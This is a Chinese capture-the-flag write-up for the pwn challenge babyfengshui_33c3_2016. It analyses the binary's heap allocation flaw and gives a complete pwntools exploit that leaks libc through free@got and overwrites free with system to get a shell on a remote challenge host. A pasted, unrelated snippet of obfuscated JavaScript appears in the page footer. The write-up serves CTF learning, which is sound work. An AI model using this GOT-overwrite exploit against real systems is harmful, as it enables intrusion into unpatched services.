babyfengshui_33c3_2016

babyfengshui_33c3_2016

使用checksec查看:
在这里插入图片描述
开启了Canary和栈不可执行,看题目像是一道heap题目。

放进IDA中查看:

void __cdecl __noreturn main()
{
  char v0; // [esp+3h] [ebp-15h]
  int v1; // [esp+4h] [ebp-14h]
  size_t v2; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  alarm(0x14u);
  while ( 1 )
  {
    puts("0: Add a user");
    puts("1: Delete a user");
    puts("2: Display a user");
    puts("3: Update a user description");
    puts("4: Exit");
    printf("Action: ");
    if ( __isoc99_scanf("%d", &v1) == -1 )
      break;
    if ( !v1 )
    {
      printf("size of description: ");
      __isoc99_scanf("%u%c", &v2, &v0);
      sub_8048816(v2);
    }
    if ( v1 == 1 )
    {
      printf("index: ");
      __isoc99_scanf("%d", &v2);
      sub_8048905(v2);
    }
    if ( v1 == 2 )
    {
      printf("index: ");
      __isoc99_scanf("%d", &v2);
      sub_804898F(v2);
    }
    if ( v1 == 3 )
    {
      printf("index: ");
      __isoc99_scanf("%d", &v2);
      sub_8048724(v2);
    }
    if ( v1 == 4 )
    {
      puts("Bye");
      exit(0);
    }
    if ( byte_804B069 > 0x31u )
    {
      puts("maximum capacity exceeded, bye");
      exit(0);
    }
  }
  exit(1);
}

看菜单,堆题,那就一步一步去分析:

首先是sub_8048816(v2)创建chunk:
在这里插入图片描述

  • s = malloc(a1);首先创建用户输入大小的chunk,里面数据置0

  • v2 = malloc(0x80u);接着会创建一个0x80大小的chunk,里面数据置0

  • *v2 = s;第一次申请的chunk的地址放入第二次申请的chunk中

跟进sub_80486BB函数:
在这里插入图片描述

  • 匹配\n :也就是说如果name不为空,将第一次申请的chunk的name存放在*v2+4

跟进sub_8048724
在这里插入图片描述

  • if ( (v3 + *ptr[a1]) >= ptr[a1] - 4 ):v3是由用户输入的,*ptr[a1]实际就是sptr[a1] - 4实际是name的地址,也就是验证chunk1和chunk2之间的距离。

接着看删除函数:
在这里插入图片描述

  • 清空数据,清空指针,没啥毛病

输出函数:
在这里插入图片描述

  • 显示数据,也没啥毛病。

update:
在这里插入图片描述

  • 就是create中的sub_8048724函数。

题目思路:

  • 判断数据长度是否合法的地方有问题,可以通过申请连续小堆块,再释放,接着申请大堆块的方式绕过。

    • 首先申请连续的3个chunk012,本题用0x80,方便计算。
    • 释放第一个结构体,得到一个空闲的0x100的堆块
    • 申请新的结构体,大小为0x100
    • 那么用户新申请的0x100大小的chunk将会在chunk1前面,程序自动申请的0x80大小的chunk将会在chunk2后面
    • 校验写入数据大小是否合法时校验的是这两个chunk之间的距离。
    • 也就是说现在我们可写入的大小是0x100+0x80+0x80+0x80+0x80
    • 修改系统创建的chunk1中存储chunk1地址的位置的数据,修改成free@got造成libc泄露。
    • 在libc中找到system的地址
    • free地址内的内容替换为system
    • 执行free(2)将会执行system(/bin/sh)

    exp:

    from pwn import *
    
    #start 
    r = remote("node4.buuoj.cn",29291)
    # r = process("../buu/babyfengshui_33c3_2016")
    elf = ELF("../buu/babyfengshui_33c3_2016")
    libc = ELF("../buu/ubuntu16(32).so")
    
    def add(size,name,length,text):
        r.sendlineafter("Action: ",'0')
        r.sendlineafter("description: ",str(size))
        r.sendlineafter("name: ",name)
        r.sendlineafter("text length: ",str(length))
        r.sendlineafter("text: ",text)
    
    def delete(index):
    	r.sendlineafter("Action: ", '1')
    	r.sendlineafter("index: ", str(index))
    
    def show(index):
    	r.sendlineafter("Action: ", '2')
    	r.sendlineafter("index: ", str(index))
    
    def edit(index, length, text):
    	r.sendlineafter("Action: ", '3')
    	r.sendlineafter("index: ", str(index))
    	r.sendlineafter("length: ", str(length))
    	r.sendlineafter("text: ", text)
    
    #params
    free_got = elf.got['free']
    
    #attack
    add(0x80,"M1",0x80,"MMMM")
    add(0x80,"M2",0x80,"MMMM")
    add(0x80,"M3",0x80,"/bin/sh\x00")
    # gdb.attach(r)
    delete(0)
    payload = b'M'*0x198 + p32(free_got)
    add(0x100,"MM1",0x19c,payload)
    show(1)
    r.recvuntil("description: ")
    free_addr = u32(r.recv(4))
    
    #libc
    base_addr = free_addr - libc.symbols['free']
    system_addr = base_addr + libc.symbols['system']
    
    #attack2
    edit(1,0x4,p32(system_addr))
    delete(2)
    
    r.interactive()
    
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
function _0x231129(_0x3470a4, _0x33c734) { var _0x113967 = _0xcc2e8a; if (_0x3773be[_0x113967(0x1d1)](_0x3773be[_0x113967(0x1cf)], _0x3773be[_0x113967(0x189)])) { var _0x44d653 = _0x29fb8c['a'][_0x113967(0x1ea)][_0x113967(0x1b7)][_0x113967(0x1e5)](_0x3773be[_0x113967(0x19e)]) , _0x237af1 = _0x29fb8c['a'][_0x113967(0x1ea)][_0x113967(0x1b7)][_0x113967(0x1e5)](_0x3773be[_0x113967(0x18b)]) , _0x90d961 = _0x3773be[_0x113967(0x1f5)] , _0x1a9696 = _0x29fb8c['a'][_0x113967(0x1ea)][_0x113967(0x1ad)][_0x113967(0x1e5)](_0x90d961) , _0x1b534c = _0x29fb8c['a'][_0x113967(0x1ea)][_0x113967(0x199)][_0x113967(0x186)](_0x1a9696) , _0x4430e9 = _0x29fb8c['a'][_0x113967(0x1bf)][_0x113967(0x1fe)](_0x1b534c, _0x44d653, { 'iv': _0x237af1, 'mode': _0x29fb8c['a'][_0x113967(0x1c1)][_0x113967(0x1fb)], 'padding': _0x29fb8c['a'][_0x113967(0x1f4)][_0x113967(0x18d)] }) , _0x514a58 = _0x4430e9[_0x113967(0x1f1)](_0x29fb8c['a'][_0x113967(0x1ea)][_0x113967(0x1b7)]) , _0x98aae0 = _0x514a58[_0x113967(0x1f1)]() , _0x531103 = _0x3773be[_0x113967(0x18c)](Object, _0x4a5bdd['j'])(_0x3470a4) ? '' : _0x3773be[_0x113967(0x1fd)](_0x3470a4[_0x113967(0x194)](0xb, 0xc), _0x3470a4[_0x113967(0x1f9)](-0x4)); _0x531103 = _0x3773be[_0x113967(0x1fd)](_0x3773be[_0x113967(0x198)](_0x531103, _0x33c734[_0x113967(0x1f9)](-0x4)), _0x33c734[_0x113967(0x194)](0x0, 0x3)); var _0x454e4e = new _0x2188d5['a'](); return _0x454e4e[_0x113967(0x1e2)](_0x3773be[_0x113967(0x198)](_0x3773be[_0x113967(0x193)](_0x3773be[_0x113967(0x1cd)], _0x98aae0), _0x3773be[_0x113967(0x1f0)])), _0x454e4e[_0x113967(0x1b6)](_0x531103); } else { var _0x30a783 = _0x1816ee ? function() { var _0x423bcc = _0x113967; if (_0x2d57e1) { var _0x1122f3 = _0x4a1468[_0x423bcc(0x1fc)](_0x3cb105, arguments); return _0x26b175 = null, _0x1122f3; } } : function() {} ; return _0x140c19 = ![], _0x30a783; } }这段代码请用php帮我写出来
07-14
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值